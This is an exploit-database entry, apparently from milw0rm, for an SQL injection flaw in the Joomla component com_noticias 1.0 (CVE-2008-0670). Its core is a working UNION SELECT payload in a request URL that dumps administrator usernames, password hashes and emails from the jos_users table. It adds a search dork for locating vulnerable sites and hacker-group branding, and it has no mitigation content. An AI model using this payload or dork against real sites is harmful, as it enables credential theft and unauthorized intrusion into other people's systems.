Joomla! Component com_noticias 1.0 - SQL Injection

EKU-ID: 13028	CVE: OSVDB-41497;CVE-2008-0670	OSVDB-ID:
Author: xcorpitx	Published: 2008-02-07	Verified:
Download:

Rating

☆☆☆☆☆

  ##     ##
   ##   ##
    ## ##
     ###CoRPITX
     ###
    ## ##
   ##   ##
  ##     ##

########################### Turkey ####################################
#                                                                     #
#################### www.Hayalet-hack.com #############################
#
##################### www.zone-turk.net/###############################
#
#         joomla (com_noticias)SQL Injection Vulnerability
#
#######################################################################
#
#  AUTHOR : xcorpitx
#
#  HOME   : www.Hayalet-hack.com / www.zone-turk.net/
#
########################################################################
# WHEN YOU PUT THIS SQL CODE YOU LL SEE ADMÃN NAME,ADMIN HASH AND EMAÃL
########################################################################
#
#  DorK   : ''com_noticias''
#
########################################################################
#
#  EXPLOIT:
#
########################################################################
#
index.php?option=com_noticias&Itemid=xcorpitx&task=detalhe&id=-99887766/**/union/**/%20select/**/0,concat(username,0x3a,password,0x3a,email),2,3,4,5/**/%20from/**/%20jos_users/*
#
########################################################################

Thanks my friends : Hayalet,D3NGES!Z,PC FARESi,SMOKÃN,MOSTBÃG

# milw0rm.com [2008-02-07]